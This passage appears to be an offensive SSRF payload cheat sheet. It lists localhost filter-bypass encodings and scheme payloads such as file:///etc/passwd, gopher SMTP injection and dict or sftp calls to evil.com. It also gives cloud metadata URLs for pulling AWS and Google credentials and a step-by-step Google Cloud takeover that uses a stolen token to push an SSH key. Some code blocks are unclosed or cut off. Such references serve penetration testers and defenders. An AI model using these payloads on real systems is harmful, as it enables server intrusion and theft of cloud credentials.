## Payloads with localhost

* Using `localhost`
  ```powershell
  http://localhost:80
  http://localhost:443
  http://localhost:22
  ```
* Using `127.0.0.1`
  ```powershell
  http://127.0.0.1:80
  http://127.0.0.1:443
  http://127.0.0.1:22
  ```
* Using `0.0.0.0`
  ```powershell
  http://0.0.0.0:80
  http://0.0.0.0:443
  http://0.0.0.0:22
  ```

## Bypassing filters

### Bypass using HTTPS

```powershell
https://127.0.0.1/
https://localhost/
```

### Bypass localhost with [::]

```powershell
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
```

```powershell
http://[0000::1]:80/
http://[0000::1]:25/ SMTP
http://[0000::1]:22/ SSH
http://[0000::1]:3128/ Squid
```

### Bypass localhost with a domain redirection

| Domain                       | Redirect to |
|------------------------------|-------------|
| localtest.me                 | `::1`       |
| localh.st                    | `127.0.0.1` |
| spoofed.[BURP_COLLABORATOR]  | `127.0.0.1` |
| spoofed.redacted.oastify.com | `127.0.0.1` |
| company.127.0.0.1.nip.io     | `127.0.0.1` |

The service nip.io is awesome for that, it will convert any ip address as a dns.

```powershell
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
```

### Bypass localhost with CIDR 

IP addresses from 127.0.0.0/8

```powershell
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
```

### Bypass using a decimal IP location

```powershell
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
```

### Bypass using octal IP

Implementations differ on how to handle octal format of ipv4.

```sh
http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
...
```

http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:127.0.0.1]
```

### Bypass using malformed urls

```powershell
localhost:+11211aaa
localhost:00011211aaaa
```

### Bypass using rare address

You can short-hand IP addresses by dropping the zeros

```powershell
http://0/
http://127.1
http://127.0.1
```

### Bypass using URL encoding

[Single or double encode a specific URL to bypass blacklist](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter)

```powershell
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
```

### Bypass using bash variables 

(curl only)

```powershell
curl -v "http://evil$google.com"
$google = ""
```

### Bypass using tricks combination

```powershell
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
```

### Bypass using enclosed alphanumerics 

[@EdOverflow](https://twitter.com/EdOverflow)

```powershell
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```

### Bypass using unicode

In some languages (.NET, Python 3) regex supports unicode by default.
`\d` includes `0123456789` but also `๐๑๒๓๔๕๖๗๘๙`.


### Bypass filter_var() php function

```powershell
0://evil.com:80;http://google.com:80/ 
```

### Bypass against a weak parser

by Orange Tsai ([Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf))

```powershell
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/

### Bypassing using a redirect
[using a redirect](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection)

```powershell
1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
2. Launch the SSRF pointing to  vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
3. You can use response codes [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307) and [308](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/308) in order to retain HTTP method and body after the redirection.
```

### Bypassing using type=url

```powershell
Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF
```

### Bypassing using DNS Rebinding (TOCTOU)

```powershell
Create a domain that change between two IPs. http://1u.ms/ exists for this purpose.
For example to rotate between 1.2.3.4 and 169.254-169.254, use the following domain:
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
```

### Bypassing using jar protocol (java only)

Blind SSRF

```powershell
jar:scheme://domain/path!/ 
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/
```

## SSRF exploitation via URL Scheme

### File 

Allows an attacker to fetch the content of a file on the server

```powershell
file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd
```

### HTTP

Allows an attacker to fetch any content from the web, it can also be used to scan ports.

```powershell
ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443
```

![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_stream.png?raw=true)

The following URL scheme can be used to probe the network

### Dict

The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

```powershell
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```

### SFTP 

A network protocol used for secure file transfer over secure shell

```powershell
ssrf.php?url=sftp://evil.com:11111/
```

### TFTP

Trivial File Transfer Protocol, works over UDP

```powershell
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```

### LDAP

Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

```powershell
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```

### Gopher

```powershell
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>

Example with [WeasyPrint by @nahamsec](https://www.youtube.com/watch?v=t5fB6OZsR6c&feature=emb_title)

```powershell
<link rel=attachment href="file:///root/secret.txt">
```

Example with PhantomJS 

```js
<script>
    exfil = new XMLHttpRequest();
    exfil.open("GET","file:///etc/passwd");
    exfil.send();
    exfil.onload = function(){document.write(this.responseText);}
    exfil.onerror = function(){document.write('failed!')}
</script>
```

## Blind SSRF

> When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. 

Use an SSRF chain to gain an Out-of-Band output.

## SSRF to XSS 

by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)

```bash
http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf

https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
```

## SSRF from XSS

### Using an iframe

The content of the file will be integrated inside the PDF as an image or text.

```html
<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
```

### Using an attachment

Example of a PDF attachment using HTML 

1. use `<link rel=attachment href="URL">` as Bio text
2. use 'Download Data' feature to get PDF
3. use `pdfdetach -saveall filename.pdf` to extract embedded resource
4. `cat attachment.bin`

## SSRF URL for Cloud Instances

### SSRF URL for AWS

The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)


* IPv4 endpoint (old): `http://169.254.169.254/latest/meta-data/`
* IPv4 endpoint (new) requires the header `X-aws-ec2-metadata-token`
  ```powershell
  export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
  curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
  ```

* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/` 

In case of a WAF, you might want to try different ways to connect to the API.
* DNS record pointing to the AWS API IP
  ```powershell
  http://instance-data
  http://169.254.169.254
  http://169.254.169.254.nip.io/
  ```
* HTTP redirect
  ```powershell
  Static:http://nicob.net/redir6a
  Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
  ```

These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.
```powershell
http://169.254.169.254/latest/meta-data/iam/security-credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]

# Examples
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
```

This URL is used to access the user data that was specified when launching the instance. User data is often used to pass startup scripts or other configuration information into the instance.
```powershell
http://169.254.169.254/latest/user-data
```

Other URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties.
```powershell
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document
```

E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance`

E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`


### SSRF URL for AWS ECS

If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID.

```powershell
curl http://169.254.170.2/v2/credentials/<UUID>
```

This way you'll extract IAM keys of the attached role

### SSRF URL for AWS Elastic Beanstalk

We retrieve the `accountId` and `region` from the API.

```powershell
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```

We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.

```powershell
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```

![notsosecureblog-awskey](https://www.notsosecure.com/wp-content/uploads/2019/02/aws-cli.jpg)

Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.


### SSRF URL for AWS Lambda

AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.

```powershell
http://localhost:9001/2018-06-01/runtime/invocation/next
$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
```

Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next

### SSRF URL for Google Cloud

:warning: Google is shutting down support for usage of the **v1 metadata service** on January 15.

Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

```powershell
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
```

Google allows recursive pulls

```powershell
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
```

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

```powershell
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```

Required headers can be set using a gopher SSRF with the following technique

```powershell
gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
```

Interesting files to pull out:

- SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
- Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`
- Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`

#### Add an SSH key

Extract the token

```powershell
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```

Check the scope of the token

```powershell
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  

{ 
        "issued_to": "101302079XXXXX", 
        "audience": "10130207XXXXX", 
        "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", 
        "expires_in": 2443, 
        "access_type": "offline" 
}
```

Now push the SSH key.

```powershell
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" 
-H "Content-Type: application/json" 
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
